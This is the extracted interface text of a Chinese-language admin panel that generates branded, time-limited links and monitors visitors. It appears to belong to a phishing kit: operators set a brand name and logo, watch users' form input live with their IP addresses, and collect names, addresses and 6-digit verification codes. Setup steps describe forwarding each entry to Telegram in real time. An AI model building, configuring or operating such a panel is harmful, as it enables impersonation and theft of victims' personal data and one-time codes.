🔐 管理后台登录
请输入管理员账号和密码
{{ loginError }}
登 录
🔗 动态链接监控后台
👤 {{ adminUsername }}
主账号
副账号
账号管理
账号设置
退出登录
×
取消
保存
说明:
主账号可以创建最多 5 个副账号,并管理它们的密码和启用状态。副账号无法管理其他账号。
主账号
副账号
启用
禁用
编辑
删除
主账号不可操作
创建副账号 ({{ adminAccounts.filter(a => !a.is_primary).length }}/5)
取消
保存
🔗 生成时效链接
{{ logoUploading ? '上传中...' : (form.logo_url ? '重新上传 Logo' : '上传本地 Logo') }}
清除
保存为默认
当前 Logo 地址(已持久保存)
支持 JPG / PNG / GIF / WEBP,单张不超过 2MB。品牌名与 Logo 会保存到服务器,下次打开后台自动带出;重新上传会替换旧 Logo。生成链接时直接使用当前默认值即可。
仅支持数字 Chat ID(不要用 @用户名)。多个用半角逗号分隔;专属接收人会收到本链接通知,同时下方「全局默认接收方」也会收到(相同 ID 自动去重)。每个账号需先对 Bot 发送
/start
。
生成专属链接
✅ 生成成功
复制
📋 活跃链接列表
({{ activeLinks.length }})
刷新
加载中...
暂无未过期链接,生成后会显示在这里
{{ item.brand_name || '未命名品牌' }}
最新
{{ item.locale === 'ja' ? '日本語' : '繁体中文' }}
到期 {{ formatExpire(item.expire_time) }}
Token:
{{ item.token || '-' }}
接收人:
未指定专属(仅全局默认接收方)
{{ chatId }}
复制链接
填入表单
⚙️ 管理选项
删除
📨 Telegram 通知
已保存 Token:{{ telegramForm.bot_token_masked }}
保存配置
获取 Chat ID
测试发送
1. 在 @BotFather 创建 Bot 并复制 Token
2. 用
接收通知的账号
打开你的 Bot,发送
/start
3. 点「获取 Chat ID」自动填入数字 ID(私聊不能用 @用户名)
4. 保存后再点「测试发送」;用户填表时 Telegram
同一条消息
实时更新,验证码满 6 位才单独提醒 1 条
5.
接收规则
:链接专属接收人 + 全局默认接收方都会收到;若两边填了同一个 ID,只发一次
6.
更换全局接收方
:删掉旧 Chat ID → 新账号对 Bot 发 /start → 获取或手动填入新 ID → 点「保存配置」
📡 WebSocket 状态
{{ wsStatus }}
重连
👥 用户实时动态列表
(共 {{ total }} 位用户)
刷新
删除
最后更新: {{ user.time }}
ID: {{ user.id }} | IP: {{ user.ip }}
加载中...
暂无用户访问,等待用户进入并输入...
首页
上一页
{{ p }}
下一页
末页
每页
{{ s }}
条
{{ perLinkLandingHeaderUploading ? '上传中...' : (perLinkForm.landing_header_image ? '更换图片' : '上传图片') }}
清除
标题文字将叠加显示在图片中间偏下位置
副标题文字显示在标题下方,留空则不显示
短链接落地页中每个选项卡片上的按钮文字,点击后进入表单页
关闭后,用户打开短链接将跳过落地页,直接进入填写表单页面
隐藏后,用户填写的表单中将不再显示「登记人姓名」输入框
隐藏后,用户填写的表单中将不再显示「收件详细地址」输入框
表单页面中验证码下方的提示文字,留空则显示默认文字
保存页面设置
{{ opt.option_number || index + 1 }}
{{ opt.image_url ? '更换图片' : '上传图片' }}
该链接暂无投票选项
保存所有选项